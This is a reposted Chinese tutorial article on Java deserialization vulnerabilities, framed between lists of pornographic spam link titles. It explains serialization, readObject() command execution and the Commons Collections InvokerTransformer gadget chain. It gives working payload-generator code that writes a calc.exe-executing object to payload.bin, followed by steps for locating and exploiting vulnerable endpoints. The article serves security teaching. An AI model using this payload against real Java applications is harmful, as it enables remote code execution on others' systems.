日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

java序列化_技术干货 | JAVA反序列化漏洞

發布時間:2023/12/19 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 java序列化_技术干货 | JAVA反序列化漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

反序列化漏洞

序列化和反序列化

????JAVA WEB中的序列化和反序列化

????????對象序列化和反序列范例

????JAVA中執行系統命令

????????重寫readObject()方法

????Apache Commons Collections

反序列化漏洞payload

JAVA Web反序列化漏洞的挖掘和利用?

????由于本人并非JAVA程序員,所以對JAVA方面的知識不是很懂,僅僅是能看懂而已。本文參照幾位大佬的博客進行歸納總結,給大家闡述了JAVA反序列化漏洞的原理以及Payload的構造,文章末尾會放出參考鏈接。

Part 1

反序列化漏洞

JAVA反序列化漏洞到底是如何產生的?

1、由于很多站點或者RMI倉庫等接口處存在java的反序列化功能,于是攻擊者可以通過構造特定的惡意對象序列化后的流,讓目標反序列化,從而達到自己的惡意預期行為,包括命令執行,甚至 getshell 等等。

2、Apache Commons Collections是開源小組Apache研發的一個 Collections 收集器框架。這個框架中有一個InvokerTransformer.java接口,實現該接口的類可以通過調用java的反射機制來調用任意函數,于是我們可以通過調用Runtime.getRuntime.exec() 函數來執行系統命令。Apache commons collections包的廣泛使用,也導致了java反序列化漏洞的大面積流行。

所以最終結果就是如果Java應用對用戶的輸入做了反序列化處理,那么攻擊者可以通過構造惡意輸入,讓反序列化過程執行我們自定義的命令,從而實現遠程任意代碼執行。

在說反序列化漏洞原理之前我們先來說說JAVA對象的序列化和反序列化

Part 2

序列化和反序列化

序列化 (Serialization):將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。

反序列化:從存儲區中讀取該數據,并將其還原為對象的過程,稱為反序列化。

簡單的說,序列化和反序列化就是:

  • 把對象轉換為字節序列的過程稱為對象的序列化

  • 把字節序列恢復為對象的過程稱為對象的反序列化

對象序列化的用途:

  • 把對象的字節序列永久地保存到硬盤上,通常存放在一個文件中

  • 在網絡上傳送對象的字節序列

當兩個進程在進行遠程通信時,彼此可以發送各種類型的數據。無論是何種類型的數據,最終都會以二進制的形式在網絡上傳送。發送方需要把這個Java對象序列化;接收方收到數據后把數據反序列化為Java對象。

通常,對象實例的所有字段都會被序列化,這意味著數據會被表示為實例的序列化數據。這樣,能夠解釋該格式的代碼就能夠確定這些數據的值,而不依賴于該成員的可訪問性。類似地,反序列化從序列化的表示形式中提取數據,并直接設置對象狀態。

對于任何可能包含重要的安全性數據的對象,如果可能,應該使該對象不可序列化。如果它必須為可序列化的,請嘗試生成特定字段來保存重要數據。如果無法實現這一點,則應注意該數據會被公開給任何擁有序列化權限的代碼,并確保不讓任何惡意代碼獲得該權限。

在很多應用中,需要對某些對象進行序列化,讓它們離開內存空間,入住物理硬盤,以便長期保存。比如最常見的是Web服務器中的Session對象,當有 10萬用戶并發訪問,就有可能出現10萬個Session對象,內存可能吃不消,于是Web容器就會把一些seesion先序列化到硬盤中,等要用了,再把保存在硬盤中的對象還原到內存中。

JAVA WEB中的序列化和反序列化

  • java.io.ObjectOutputStream 代表對象輸出流,它的?writeObject()?方法可對參數指定的對象進行序列化,把得到的字節序列寫到一個目標輸出流中

  • java.io.ObjectInputStream 代表對象輸入流,它的?readObject()?方法從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,并將其返回

只有實現了?Serializable?和?Externalizable?接口的類的對象才能被序列化和反序列化。Externalizable 接口繼承自 Serializable 接口,實現 Externalizable 接口的類完全由自身來控制反序列化的行為,而實現 Serializable 接口的類既可以采用默認的反序列化方式,也可以自定義反序列化方式。

對象序列化包括如下步驟:

  • 創建一個對象輸出流,它可以包裝一個其他類型的目標輸出流,如文件輸出流

  • 通過對象輸出流的 writeObject() 方法將對象進行序列化

  • 對象反序列化的步驟如下:

  • 創建一個對象輸入流,它可以包裝一個其他類型的源輸入流,如文件輸入流

  • 通過對象輸入流的 readObject() 方法將字節序列反序列化為對象

  • 對象序列化和反序列范例

    定義一個User類,實現Serializable接口

    import java.io.IOException;import java.io.Serializable;public class User implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name=name; }}

    定義主類,對User對象進行序列化和反序列化

    import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Test { public static void main(String[] args) throws IOException { Test a=new Test(); try { a.run(); //序列化 a.run2(); //反序列化 } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } } //將該對象進行序列化,存儲在本地的test.txt文件中 public static void run() throws IOException{ FileOutputStream out=new FileOutputStream("test.txt"); //實例化一個文件輸出流 ObjectOutputStream obj_out=new ObjectOutputStream(out); //實例化一個對象輸出流 User u=new User(); u.setName("謝公子"); obj_out.writeObject(u); //利用writeObject()方法將類序列化存儲在本地 obj_out.close(); System.out.println("User對象序列化成功!"); System.out.println("***********************"); } //將存儲在本地test.txt的序列化數據進行反序列化 public void run2() throws IOException,ClassNotFoundException{ FileInputStream in = new FileInputStream("test.txt"); //實例化一個文件輸入流 ObjectInputStream ins = new ObjectInputStream(in); //實例化一個對象輸入流 User u=(User)ins.readObject(); System.out.println("User對象反序列化成功!"); System.out.println(u.getName()); ins.close(); }}

    運行結果

    同時,會在當前文件夾生成一個 test.txt 用來存儲序列化的對象,內容如下:

    JAVA中執行系統命令

    我們先來看看JAVA中執行系統命令的方法,如下代碼可以執行系統命令:whoami

    import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import org.omg.CORBA.portable.InputStream; public class main { public static void main(String[] args) throws IOException, InterruptedException { Process p=Runtime.getRuntime().exec("whoami"); java.io.InputStream is=p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); p.waitFor(); if (p.exitValue() != 0) { //說明命令執行失敗,可以進入到錯誤處理步驟中 } String s = null; while ((s = reader.readLine()) != null) { System.out.println(s); } }}

    運行結果?

    重寫readObject()方法

    我們上面說到了可以通過重寫 readObject() 方法來自定義類的反序列化方式。所以,我們將User類的 readObject() 進行重寫

    import java.io.BufferedReader;import java.io.Externalizable;import java.io.IOException;import java.io.InputStreamReader;import java.io.ObjectInput;import java.io.ObjectOutput;import java.io.Serializable;public class User implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name=name; } private void readObject(java.io.ObjectInputStream in)throws ClassNotFoundException,IOException, InterruptedException{ //這里使用默認的ReadObject方法 in.defaultReadObject(); //重寫,執行系統命令:whoami Process p=Runtime.getRuntime().exec("whoami"); java.io.InputStream is=p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); p.waitFor(); if (p.exitValue() != 0) { //說明命令執行失敗 //可以進入到錯誤處理步驟中 } String s = null; while ((s = reader.readLine()) != null) { System.out.println(s); } }}

    主類中的代碼不變,我們再來執行序列化和反序列化過程。可以看到,除了執行了對象的序列化和反序列化之外,還執行了我們自定義的系統命令的代碼。

    Apache Commons Collections

    Apache Commons Collections 是一個擴展了Java標準庫里的Collection結構的第三方基礎庫,它提供了很多強有力的數據結構類型并且實現了各種集合工具類。作為Apache開源項目的重要組件,Commons Collections被廣泛應用于各種Java應用的開發。

    Commons Collections 實現了一個TransformedMap類,該類是對Java標準數據結構Map接口的一個擴展。該類可以在一個元素被加入到集合內時,自動對該元素進行特定的修飾變換,具體的變換邏輯由Transformer類定義,Transformer在TransformedMap實例化時作為參數傳入。

    我們可以通過TransformedMap.decorate()方法,獲得一個TransformedMap的實例。如下代碼是TransformedMap.decorate()方法

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);}

    Transformer是一個接口,其中定義的transform()函數用來將一個對象轉換成另一個對象。如下所示?

    public interface Transformer { public Object transform(Object input);}

    當TransformedMap中的任意項的Key或者Value被修改,相應的Transformer的transform()方法就會被調用。除此以外,多個Transformer還能串起來,形成ChainedTransformer。?

    Apache Commons Collections中已經實現了一些常見的?Transformer,其中的?InvokerTransformer?接口實現了反射鏈,可以通過Java的反射機制來執行任意命令。于是我們可以通過InvokerTransformer的反射鏈獲得Runtime類來執行系統命令?

    傳送門——>?InvokerTransformer反射鏈

    在上面的 InvokerTransformer反射鏈 這篇文章中我已經介紹了如何通過修改Value值來觸發執行反射鏈來執行任意命令。

    但是目前的構造還需要依賴于修改Map中的Value值去觸發調用反射鏈,我們需要想辦法通過readObject()直接觸發。

    如果某個可序列化的類重寫了readObject()方法,并且在readObject()中對Map類型的變量進行了鍵值修改操作,并且這個Map參數是可控的,就可以實現我們的攻擊目標了。

    于是,我們找到了這個類:AnnotationInvocationHandler ,這個類有一個成員變量?memberValues?是Map類型,并且在重寫的 readObject() 方法中有 memberValue.setValue()?修改Value的操作。簡直是完美!

    于是我們可以實例化一個AnnotationInvocationHandler類,將其成員變量memberValues賦值為精心構造的惡意TransformedMap對象。然后將其序列化,提交給未做安全檢查的Java應用。Java應用在進行反序列化操作時,執行了readObject()函數,修改了Map的Value,則會觸發TransformedMap的變換函數transform(),再通過反射鏈調用了Runtime.getRuntime.exec("XXX")?命令,最終就可以執行我們的任意代碼了,一切是那么的天衣無縫!

    Part 3

    反序列化漏洞payload

    • 反序列化時會執行對象的readObject()方法

    • Runtime.getRuntime.exec(“xx”)可以執行系統命令

    • InvokerTransformer的transform()方法可以通過反射鏈調用Runtime.getRuntime.exec(“xx”)函數來執行系統命令

    • TransformedMap類的decorate方法用來實例化一個TransformedMap對象,即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ,第二個和第三個參數傳入一個Transformer,當key值和Value值改變時,會調用Transformer的transformer()方法。于是我們可以將第三個參數傳入 InvokerTransformer

    Payload構造思路:我們構造惡意的類:AnnotationInvocationHandler,將該類的成員變量memberValues賦值為我們精心構造的TransformedMap對象,并將AnnotationInvocationHandler類進行序列化,然后交給JAVA WEB應用進行反序列化。再進行反序列化時,會執行readObject()方法,該方法會對成員變量TransformedMap的Value值進行修改,該修改觸發了TransformedMap實例化時傳入的參數InvokerTransformer的transform()方法,InvokerTransformer.transform()方法通過反射鏈調用Runtime.getRuntime.exec(“xx”)函數來執行系統命令

    如下代碼,我們通過構造惡意的類AnnotationInvocationHandler并將其序列化保存在 payload.bin文件中,只要將它給存在反序列化漏洞的JAVA WEB 應用進行反序列化就能執行我們的命令了。

    import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry; import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap; public class main2 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); //實例化一個反射鏈 Map innerMap = new HashMap(); //實例化一個Map對象 innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //將Map對象和反射鏈作為參數傳入 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到 AnnotationInvocationHandler類的字節碼文件 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); //得到我們構造好的 AnnotationInvocationHandler類實例 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(f); //創建一個對象輸出流 out.writeObject(instance); //將我們構造的 AnnotationInvocationHandler類進行序列化 out.flush(); out.close(); }}

    Part 4

    JAVA Web反序列化漏洞的挖掘和利用

    1:漏洞觸發場景

    在java編寫的web應用與web服務器間通常會發送大量的序列化對象例如以下場景:  

    • HTTP請求中的參數,cookies以及Parameters。  

    • RMI協議,被廣泛使用的RMI協議完全基于序列化   

    • JMX 同樣用于處理序列化對象   

    • 自定義協議 用來接收與發送原始的java對象

    2:漏洞挖掘

    (1)確定反序列化輸入點  

    首先應找出readObject方法調用,在找到之后進行下一步的注入操作。一般可以通過以下方法進行查找:

    ??? 1)源碼審計:尋找可以利用的“靶點”,即確定調用反序列化函數readObject的調用地點。  

    ??? 2)對該應用進行網絡行為抓包,尋找序列化數據,java序列化的數據一般會以標記(ac ed 00 05)開頭,base64編碼后的特征為rO0AB?! ?/p>

    (2)再考察應用的Class Path中是否包含Apache Commons Collections庫   

    (3)生成反序列化的payload   

    (4)提交我們的payload數據

    參考文章:Java反序列化漏洞從無到有

    ? ? ? ? ? ? ? ? ? Lib之過?Java反序列化漏洞通用利用分析

    ? ? ? ? ? ? ? ? ?Java反序列化漏洞分析

    ? ? ? ? ? ? ? ? ?Commons Collections Java反序列化漏洞深入分析

    總結

    以上是生活随笔為你收集整理的java序列化_技术干货 | JAVA反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 97精品国产露脸对白 | 97免费在线观看 | 制服诱惑一区二区 | 亚洲av综合色区无码一区爱av | 在线视频你懂得 | 在线观看h视频 | 亚洲国产欧美自拍 | 91久久久国产精品 | 亚洲精品中文无码AV在线播放 | 日韩高清av | xxxx毛片 | 日韩视频一区在线观看 | 久久精品国产亚洲AV黑人 | 天堂av亚洲 | 午夜宫| 美脚の诱脚舐め脚视频播放 | 一级中国毛片 | 性爱视频在线免费 | 波多野42部无码喷潮在线 | 欧美性另类 | 免费不卡视频 | 成人性做爰aaa片免费看不忠 | 玖玖视频国产 | 一区二区三区天堂 | 亚洲同性gay激情无套 | 风流少妇按摩来高潮 | 欧美日韩一区二区三区视频 | 亚洲 欧美 自拍偷拍 | 97成人在线| 真性中出| 欧美一二三 | 捆绑凌虐一区二区三区 | 国产精品一卡二卡在线观看 | 亚洲欧美精品在线观看 | 日韩av手机在线 | 校园春色自拍偷拍 | 国产三级一区二区三区 | 国产午夜久久 | 91射区| 国产日韩欧美在线观看视频 | 国产精品电影一区二区 | 国产在线一区不卡 | 亚洲综合欧美综合 | 三级理论电影 | 波多野结衣欲乱上班族 | 日本一区二区三区电影在线观看 | 精品动漫一区二区三区的观看方式 | 欧美啪啪小视频 | 亚洲精品动漫在线观看 | 精品精品视频 | 自拍99| 亚洲高清久久 | 91啦中文| a级在线观看| 欧美亚洲天堂网 | 激情视频一区二区 | 女性生殖扒开酷刑vk | 欧洲一级黄色片 | 久久网址 | 国产麻豆剧传媒精品国产 | 999国产视频 | 99精品一区二区三区无码吞精 | 精品在线不卡 | 日本一品道 | 午夜鲁鲁| 成人黄色免费在线观看 | 日本韩国欧美中文字幕 | 伊人论坛 | 国语对白一区二区 | 亚洲一二三级 | 国产午夜精品一区二区理论影院 | 草莓巧克力香氛动漫的观看方法 | 久久精品7| av免费的| 久久黄网站 | 天天草天天射 | 黄色美女毛片 | 天天干网址 | 精品久久久久久中文字幕 | 91精品国产综合久久久蜜臀九色 | 亚洲天堂成人网 | 久久91av | 激情五月视频 | 日韩精品亚洲一区 | 国产suv精品一区二区883 | 日本打白嫩屁股视频 | 精品无码久久久久 | 欧美破处女 | 69视频在线观看免费 | 国产jzjzjz丝袜老师水多 | 中日韩男男gay无套 人人草人人干 | 高贵麻麻被调教成玩物 | 九九黄色大片 | 欧美日韩精品免费 | 中文在线视频观看 | 日韩免费观看视频 | 免费一级做a爰片久久毛片潮 | 欧美一级免费在线 | 午夜亚洲av永久无码精品 |